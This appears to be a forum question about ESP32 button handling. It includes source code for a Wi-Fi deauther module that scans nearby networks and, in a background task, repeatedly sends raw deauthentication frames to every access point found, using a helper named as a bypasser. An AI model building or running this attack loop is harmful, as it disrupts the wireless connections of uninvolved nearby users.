I have an issue, while sending Wi-Fi packets, the process continues and the tick function cannot execute. Therefore, it cannot process in the eventDeinit(), and my button checks cannot be performed during packet transmission. I tried to handle it with a task, but it didn’t get it work. How can I detect whether the button is pressed during packet transmission?
INFO: tick void is called by normal loop void on Arduino framework.
#include "WiFiDeauther.h"
#include "Logger.h"
#include <MenuController.h>
#include "ModuleManager.h"
#include <UIController.h>
#include "utils/WiFiUtils/WiFiUtil.h"
#include <esp_wifi.h>
#include <WiFi.h>
#include <vector>
#include <array>
#include <LinkedList.h>
#include <freertos/FreeRTOS.h>
extern Logger logger;
extern ButtonController upButton;
extern ButtonController okButton;
extern ButtonController downButton;
extern MenuController menuController;
extern ModuleManager moduleManager;
extern UIController ui;
extern WiFiUtil wifiUtil;
std::vector<wifi_ap_record_t> ap_records;
struct AccessPoint {
String essid;
uint8_t channel;
uint8_t bssid[6];
bool selected;
LinkedList<char>* beacon;
char rssi;
LinkedList<uint8_t>* stations;
};
struct Station {
uint8_t mac[6];
bool selected;
};
LinkedList<AccessPoint>* access_points;
LinkedList<Station>* stations;
int packets_sent = 0;
String ssidList = "Targets:\n"; // Başlangıçta boş bir liste
TaskHandle_t scanNetworksTaskHandle = nullptr;
TaskHandle_t deauthTaskHandle = nullptr;
void WiFiDeauther::init() {
access_points = new LinkedList<AccessPoint>();
stations = new LinkedList<Station>();
logger.log("WiFi Deauther initialized.");
display();
esp_err_t err;
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
err = esp_wifi_init(&cfg);
if (err != ESP_OK) {
logger.log("Error initializing WiFi: " + String(esp_err_to_name(err)));
return;
}
err = esp_wifi_set_storage(WIFI_STORAGE_RAM);
if (err != ESP_OK) {
logger.log("Error setting WiFi storage: " + String(esp_err_to_name(err)));
return;
}
err = esp_wifi_set_mode(WIFI_MODE_AP);
if (err != ESP_OK) {
logger.log("Error setting WiFi mode: " + String(esp_err_to_name(err)));
return;
}
err = esp_wifi_start();
if (err != ESP_OK) {
logger.log("Error starting WiFi: " + String(esp_err_to_name(err)));
return;
}
err = esp_wifi_set_max_tx_power(82);
if (err != ESP_OK) {
logger.log("Error setting max TX power: " + String(esp_err_to_name(err)));
return;
}
WiFi.mode(WIFI_AP); // Switch to station mode
WiFi.disconnect();
// Set up AP
if (!WiFi.softAP("DeautherAP", "", 1, 1, 4, false)) {
ui.displayError("WiFi Deauther", "Failed to start AP!");
}
logger.log("WiFi Deauther initialization completed successfully.");
xTaskCreatePinnedToCore(
scanNetworksTask,
"scanNetworksTask", // Task name
4096, // Yığın boyutu
this, // Parametre
5, // Öncelik
&scanNetworksTaskHandle, // Görev tanıtıcısı
1 // Çekirdek
);
xTaskCreatePinnedToCore(
deauthTask,
"deauthTask", // Task name
4096, // Yığın boyutu
nullptr, // Parametre
5, // Öncelik
&deauthTaskHandle, // Görev tanıtıcısı
1 // Çekirdek
);
}
void WiFiDeauther::deinit() {
if (scanNetworksTaskHandle != nullptr) {
vTaskDelete(scanNetworksTaskHandle);
scanNetworksTaskHandle = nullptr;
logger.log("Scan Networks Task Aborted.");
}
if (deauthTaskHandle != nullptr) {
vTaskDelete(deauthTaskHandle);
deauthTaskHandle = nullptr;
logger.log("Deauth Attack Task Aborted.");
}
lv_obj_clean(lv_scr_act());
menuController.displayModuleMenu(moduleManager.categoryToString(Category::WIFI));
logger.log("WiFi Deauther deinitialized.");
}
void WiFiDeauther::tick() {
eventDeinit();
}
lv_obj_t *scr;
lv_obj_t *targetList;
void WiFiDeauther::display() {
scr = lv_scr_act();
targetList = lv_label_create(scr);
ui.setTitle("WiFi Deauther");
lv_label_set_text(targetList, "Scanning for Networks...");
lv_obj_align(targetList, LV_ALIGN_CENTER, 0, 20);
lv_obj_set_style_text_font(targetList, &lv_font_montserrat_12, LV_PART_MAIN);
lv_obj_set_content_height(targetList, SCREEN_HEIGHT / 1.8);
lv_obj_set_scrollbar_mode(targetList, LV_SCROLLBAR_MODE_OFF);
lv_label_set_long_mode(targetList, LV_LABEL_LONG_SCROLL_CIRCULAR);
}
void WiFiDeauther::eventDeinit() {
if (upButton.checkPress() || downButton.checkPress() || okButton.checkPress()) {
logger.log("Any Button Pressed!");
if (!ui.focusedToPopup) {
menuController.deactivateActiveModule();
}
else {
logger.log("Removing Error Panel!");
ui.focusedToPopup = false;
menuController.deactivateActiveModule();
}
}
}
//FIX: Target ssid list
void WiFiDeauther::scanNetworksTask(void *parameter) {
while (true) {
logger.log("Scanning Networks...");
lv_label_set_text(targetList, "Scanning for Networks...");
ap_records.clear();
logger.log("Cleared AP Records!");
vTaskDelay(100 / portTICK_PERIOD_MS);
int nets = WiFi.scanNetworks();
vTaskDelay(200 / portTICK_PERIOD_MS);
for (int i = 0; i < nets; i++) {
wifi_ap_record_t record;
memcpy(record.bssid, WiFi.BSSID(i), 6);
record.primary = WiFi.channel(i);
strncpy((char *)record.ssid, WiFi.SSID(i).c_str(), sizeof(record.ssid));
record.ssid[sizeof(record.ssid) - 1] = '\0'; // Null-terminator ekleyerek taşmayı önler record.primary = WiFi.channel(i);
ap_records.push_back(record);
ssidList += String((char*)record.ssid); // SSID'yi String'e dönüştür ve ekle
ssidList += "\n";
}
memcpy(wifiUtil.deauth_frame, wifiUtil.deauth_frame_default, sizeof(wifiUtil.deauth_frame_default));
logger.log("WiFi Scan Complete.");
if (ap_records.size() != 0 && targetList != nullptr && ssidList != nullptr) {
lv_label_set_text(targetList, ssidList.c_str());
}
logger.log(ssidList);
vTaskDelay(25000 / portTICK_PERIOD_MS);
}
}
void WiFiDeauther::deauthTask(void *parameter) {
while (true) {
if (ap_records.size() != 0)
{
uint8_t channel = 0;
uint16_t count = 0;
for (const auto &record : ap_records) {
channel = record.primary;
//logger.log("Deauthing on channel: " + String(channel));
wifiUtil.wsl_bypasser_send_raw_frame(&record, record.primary); // Kanalı ayarlama
vTaskDelay(30 / portTICK_PERIOD_MS);
for (int i = 0; i < 6; i++) {
if (ap_records.size() != 0)
{
wifiUtil.send_raw_frame(wifiUtil.deauth_frame, sizeof(wifiUtil.deauth_frame_default));
count++;
vTaskDelay(50 / portTICK_PERIOD_MS);
}
}
vTaskDelay(30 / portTICK_PERIOD_MS);
}
}
vTaskDelay(70 / portTICK_PERIOD_MS);
}
}